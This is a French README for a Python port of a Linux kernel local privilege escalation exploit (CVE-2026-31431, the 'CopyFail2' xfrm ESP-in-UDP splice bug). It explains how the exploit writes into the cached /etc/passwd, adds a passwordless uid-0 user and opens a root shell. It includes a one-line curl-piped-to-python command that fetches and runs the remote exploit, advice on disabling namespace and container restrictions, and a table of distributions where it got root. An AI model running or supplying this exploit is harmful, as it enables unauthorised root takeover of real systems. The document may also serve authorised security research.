
Implémentation en Python d'un exploit d'élévation de privilèges locaux du noyau Linux pour CVE-2026-31431, exploitant xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW pour écraser /etc/passwd et obtenir les droits root.
Portage Python de l'exploit noyau CopyFail2 exploitant le chemin rapide sans COW MSG_SPLICE_PAGES d'ESP-in-UDP xfrm pour l'élévation de privilèges locale non privilégiée sous Linux.
Remplace une entrée nologin/false dans /etc/passwd par un utilisateur uid-0 sans mot de passe et ouvre un shell root via su.
Le bug noyau réside dans le chemin splice UDP utilisé par l'encapsulation ESP-in-UDP xfrm. splice() dans une socket UDP avec MSG_SPLICE_PAGES provoque le mappage des pages dans le cache de pages du récepteur sans déclencher de copie à l'écriture. Cela permet d'écrire dans n'importe quel fichier actuellement mappé dans le cache de pages, même s'il est ouvert en lecture seule.
libcrypto.so (OpenSSL)CAP_NET_ADMIN ou la capacité de créer des espaces de noms utilisateurCe dépôt fournit deux variantes. Les deux produisent le même résultat ; choisissez en fonction de vos contraintes.
# En une ligne via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Fichier enregistré
python3 exploit.py
# Annuler les modifications
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
Sur Ubuntu avec apparmor_restrict_unprivileged_userns activé, enregistrez d'abord le fichier puis exécutez-le depuis le disque ; le mode pipe contourne la danse de contournement AppArmor.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd en la valeur souhaitée.127.0.0.1:4500.splice() trois plages (en-tête ESP, octet cible de /etc/passwd, ICV) dans un pipe.splice() le pipe dans la socket UDP, déclenchant le bug noyau et écrivant l'octet dans le cache de pages.nologin/false par sick::0:0:...:/:/bin/bash.su - sick ouvre un shell root (PAM nullok accepte un mot de passe vide).cannot acquire CAP_NET_ADMIN
Votre noyau peut avoir kernel.unprivileged_userns_clone=0. Activez-le :
sudo sysctl kernel.unprivileged_userns_clone=1
Si vous exécutez dans Docker, démarrez le conteneur avec --privileged ou --cap-add=SYS_ADMIN.
Cet outil est fourni uniquement pour la recherche en sécurité autorisée et à des fins éducatives. Ne l'utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Les auteurs déclinent toute responsabilité en cas d'utilisation abusive ou de dommages causés par ce logiciel.
| Fichier | Description | Vitesse | Quand l'utiliser |
|---|
exploit.py | Optimisé — réutilise l'état xfrm/les sockets/le pipe entre les mutations, traite 2 octets consécutifs par cycle, sondage actif au lieu d'un sommeil fixe. | ~3–8 s pour une ligne de 99 octets | Choix par défaut. Rapide, stable, testé sur plusieurs distributions. |
exploit_raw.py | Référence — le plus proche du code C d'origine. Recrée l'état xfrm, les sockets, le pipe et le fichier temporaire pour chaque octet, sommeil fixe de 200 ms par mutation. | ~30–40 s pour une ligne de 99 octets | À utiliser si vous voulez le chemin de code le plus simple possible pour l'audit, ou si la version optimisée se comporte mal sur une version de noyau spécifique. |
| Distribution | Noyau | Résultat |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | non vulnérable |